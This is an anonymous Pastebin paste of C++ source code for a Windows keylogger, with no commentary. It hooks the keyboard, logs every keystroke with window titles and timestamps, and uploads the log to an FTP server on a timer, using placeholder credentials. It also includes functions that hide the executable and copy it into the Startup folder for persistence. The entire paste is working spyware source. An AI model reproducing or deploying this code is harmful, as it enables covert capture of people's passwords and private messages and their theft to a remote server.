Advertisement
Guest User

Untitled

a guest
Mar 7th, 2016
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include "stdafx.h"
  2. #pragma comment (lib,"wininet.lib")
  3. #include <windows.h>
  4. #include <wininet.h>
  5. #include <string>
  6. #include <fstream>
  7. #include <ctime>
  8. #include <Shlobj.h>
  9.  
  10. #define LOG_TIME 1
  11. #define UPLOAD_TIME 2
  12.  
  13. // Globals
  14. wchar_t        *logfile = L"testlog.txt";
  15. wchar_t        *hostname = L"FTP HOSTNAME";
  16. wchar_t        *username = L"FTP USERNAME";
  17. wchar_t        *password = L"FTP PASSWORD";
  18. std::wofstream file;
  19. std::wstring   logbuffer;
  20. int            write_to_file_interval = 10;
  21. int            upload_interval = 2;
  22. std::wstring   key = L"";
  23. int            key_count = 0;
  24. bool           shift_pressed = false;
  25. bool           capslock_on = false;
  26. bool           capital = false;
  27. std::wstring   last_active_window = L"";
  28.  
  29. bool upload_file(wchar_t *filename, wchar_t *uploaded_filename,
  30.                  wchar_t *hostname, wchar_t *username, wchar_t *password) {
  31.   HINTERNET hInternet;
  32.   HINTERNET hFtp;
  33.  
  34.   hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
  35.   hFtp = InternetConnect(hInternet, hostname, INTERNET_DEFAULT_FTP_PORT,
  36.                          username, password, INTERNET_SERVICE_FTP, 0, 0);
  37.   BOOL uploaded = FtpPutFile(hFtp, filename, uploaded_filename,
  38.                              FTP_TRANSFER_TYPE_BINARY, 0);
  39.   InternetCloseHandle(hFtp);
  40.   InternetCloseHandle(hInternet);
  41.   return uploaded;
  42. }
  43.  
  44. std::wstring get_active_window_title() {
  45.   wchar_t title[256];
  46.   HWND hwnd = GetForegroundWindow();
  47.   GetWindowText(hwnd, title, sizeof(title));
  48.   return title;
  49. }
  50.  
  51. std::wstring get_date_and_time(int type) {
  52.   time_t rawtime;
  53.   struct tm *timeinfo;
  54.   wchar_t date_and_time[256];
  55.    
  56.   time(&rawtime);
  57.   timeinfo = localtime(&rawtime);
  58.   switch (type) {
  59.     case LOG_TIME:
  60.       wcsftime(date_and_time, 256, L"%x_%X", timeinfo);
  61.       break;
  62.     case UPLOAD_TIME:
  63.       wcsftime(date_and_time, 256,L"%m.%d.%y_%X", timeinfo);
  64.       break;
  65.     default:;
  66.   }
  67.   return date_and_time;
  68. }
  69.  
  70. std::wstring generate_upload_file_name() {
  71.   std::wstring file_name;
  72.   std::wstring date_and_time = get_date_and_time(UPLOAD_TIME);
  73.   wchar_t windows_username[256];
  74.  
  75.   DWORD length = sizeof(windows_username);
  76.   GetUserName(windows_username, &length);
  77.  
  78.   file_name = windows_username;
  79.   file_name.append(L"_" );
  80.   file_name.append(date_and_time);
  81.   file_name.append(L".txt");
  82.   return file_name;
  83. }
  84.  
  85. void move_to_startup(wchar_t *new_filename) {
  86.   wchar_t file_path[MAX_PATH];
  87.   wchar_t startup_path[MAX_PATH];
  88.  
  89.   //get path of running application
  90.   GetModuleFileName(NULL, file_path, sizeof(file_path));
  91.  
  92.   //get startup folder path
  93.   SHGetFolderPath(NULL, CSIDL_STARTUP, 0, NULL, startup_path);
  94.  
  95.   //concatenates new file name to the end of startup folder path
  96.   _tcscat(startup_path, TEXT("\\"));
  97.   _tcscat(startup_path, new_filename);
  98.  
  99.   std::wifstream fs(startup_path);
  100.   if (!fs.good())
  101.     MoveFile(file_path, startup_path);
  102.   fs.close();
  103. }
  104.  
  105. void hide_file() {
  106.   wchar_t file_path[MAX_PATH];
  107.   GetModuleFileName(NULL, file_path, sizeof(file_path));
  108.   SetFileAttributes(file_path, FILE_ATTRIBUTE_HIDDEN);
  109. }
  110.  
  111. LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam,
  112.                                       LPARAM lParam) {
  113.   PKBDLLHOOKSTRUCT keystroke = (PKBDLLHOOKSTRUCT)(lParam);
  114.   if (wParam == WM_KEYUP) {
  115.     switch (keystroke->vkCode) {
  116.       case VK_RSHIFT:
  117.       case VK_LSHIFT: shift_pressed = false;
  118.         break;
  119.       default:;
  120.     }
  121.   }
  122.  
  123.   if (wParam == WM_KEYDOWN) {
  124.     capital = !shift_pressed != !capslock_on;
  125.    
  126.     if (last_active_window != get_active_window_title()) {
  127.       last_active_window = get_active_window_title();
  128.       logbuffer += L"\n\n[";
  129.       logbuffer += get_date_and_time(LOG_TIME);
  130.       logbuffer += L"] [" + last_active_window;
  131.       logbuffer += L"]\n";
  132.     }
  133.    
  134.     switch (keystroke->vkCode) {
  135.     case VK_RSHIFT:
  136.     case VK_LSHIFT: key = L"[SHIFT]"; shift_pressed = true;
  137.       break;
  138.     case VK_CAPITAL: key = L"[CAPSLOCK]"; capslock_on = !capslock_on;
  139.       break;
  140.     case VK_SPACE: key = L" ";
  141.       break;
  142.     case VK_RETURN: key = L"[ENTER]";
  143.       break;
  144.     case VK_BACK:
  145.     case VK_DELETE: key = L"[DEL]";
  146.       break;
  147.     case VK_RIGHT: key = L"[RIGHT]";
  148.       break;
  149.     case VK_LEFT: key = L"[LEFT]";
  150.       break;
  151.     case VK_UP: key = L"[UP]";
  152.       break;
  153.     case VK_DOWN: key = L"[DOWN]";
  154.       break;
  155.     case VK_SNAPSHOT: key = L"[SCREENSHOT]";
  156.       break;
  157.     case 0x41: key = (capital) ? L"A" : L"a";
  158.       break;
  159.     case 0x42: key = (capital) ? L"B" : L"b";
  160.       break;
  161.     case 0x43: key = (capital) ? L"C" : L"c";
  162.       break;
  163.     case 0x44: key = (capital) ? L"D" : L"d";
  164.       break;
  165.     case 0x45: key = (capital) ? L"E" : L"e";
  166.       break;
  167.     case 0x46: key = (capital) ? L"F" : L"f";
  168.       break;
  169.     case 0x47: key = (capital) ? L"G" : L"g";
  170.       break;
  171.     case 0x48: key = (capital) ? L"H" : L"h";
  172.       break;
  173.     case 0x49: key = (capital) ? L"I" : L"i";
  174.       break;
  175.     case 0x4A: key = (capital) ? L"J" : L"j";
  176.       break;
  177.     case 0x4B: key = (capital) ? L"K" : L"k";
  178.       break;
  179.     case 0x4C: key = (capital) ? L"L" : L"l";
  180.       break;
  181.     case 0x4D: key = (capital) ? L"M" : L"m";
  182.       break;
  183.     case 0x4E: key = (capital) ? L"N" : L"n";
  184.       break;
  185.     case 0x4F: key = (capital) ? L"O" : L"o";
  186.       break;
  187.     case 0x50: key = (capital) ? L"P" : L"p";
  188.       break;
  189.     case 0x51: key = (capital) ? L"Q" : L"q";
  190.       break;
  191.     case 0x52: key = (capital) ? L"R" : L"r";
  192.       break;
  193.     case 0x53: key = (capital) ? L"S" : L"s";
  194.       break;
  195.     case 0x54: key = (capital) ? L"T" : L"t";
  196.       break;
  197.     case 0x55: key = (capital) ? L"U" : L"u";
  198.       break;
  199.     case 0x56: key = (capital) ? L"V" : L"v";
  200.       break;
  201.     case 0x57: key = (capital) ? L"W" : L"w";
  202.       break;
  203.     case 0x58: key = (capital) ? L"X" : L"x";
  204.       break;
  205.     case 0x59: key = (capital) ? L"Y" : L"y";
  206.       break;
  207.     case 0x5A: key = (capital) ? L"Z" : L"z";
  208.       break;
  209.     case 0x30: key = (shift_pressed) ? L")" : L"0";
  210.       break;
  211.     case 0x31: key = (shift_pressed) ? L"!" : L"1";
  212.       break;
  213.     case 0x32: key = (shift_pressed) ? L"@" : L"2";
  214.       break;
  215.     case 0x33: key = (shift_pressed) ? L"#" : L"3";
  216.       break;
  217.     case 0x34: key = (shift_pressed) ? L"$" : L"4";
  218.       break;
  219.     case 0x35: key = (shift_pressed) ? L"%" : L"5";
  220.       break;
  221.     case 0x36: key = (shift_pressed) ? L"^" : L"6";
  222.       break;
  223.     case 0x37: key = (shift_pressed) ? L"&" : L"7";
  224.       break;
  225.     case 0x38: key = (shift_pressed) ? L"*" : L"8";
  226.       break;
  227.     case 0x39: key = (shift_pressed) ? L"(" : L"9";
  228.       break;
  229.     default: key = L"";
  230.     }
  231.    
  232.     if (key != L"") {
  233.       logbuffer += key;
  234.       key_count++;
  235.     }
  236.    
  237.     if (key_count % write_to_file_interval == 0) {
  238.       file.open(logfile, std::ios_base::app);
  239.       file << logbuffer;
  240.       logbuffer = L"";
  241.       file.close();
  242.     }
  243.   }
  244.   return CallNextHookEx(NULL, nCode, wParam, lParam);
  245. }
  246.  
  247. void CALLBACK upload_timer(HWND hwnd, UINT uMsg, UINT timerId, DWORD dwTime) {
  248.   if (logbuffer.size() > 0) {
  249.     file.open(logfile, std::ios_base::app);
  250.     file << logbuffer;
  251.     file.close();
  252.     logbuffer = L"";
  253.   }
  254.   std::ifstream in(logfile);
  255.   if (in.is_open()) {
  256.     in.seekg(0, in.end);
  257.     size_t size = in.tellg();
  258.     if (size > 0) {
  259.       upload_file(logfile, &generate_upload_file_name()[0], hostname,
  260.                   username, password);
  261.       file.open(logfile, std::ofstream::out | std::ofstream::trunc);
  262.       file.close();
  263.     }
  264.     in.close();
  265.   }
  266. }
  267.  
  268. int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
  269.                       _In_opt_ HINSTANCE hPrevInstance,
  270.                       _In_ LPWSTR    lpCmdLine,
  271.                       _In_ int       nCmdShow) {
  272.   HHOOK kb_hook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc,
  273.                                    hInstance, 0);
  274.   MSG msg;
  275.   SetTimer(NULL, 0, 1000*60*upload_interval, (TIMERPROC)&upload_timer);
  276.   while (GetMessage(&msg, NULL, NULL, NULL)) {
  277.     TranslateMessage(&msg);
  278.     DispatchMessage(&msg);
  279.   }
  280.   UnhookWindowsHookEx(kb_hook);
  281.   return 0;            
  282. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement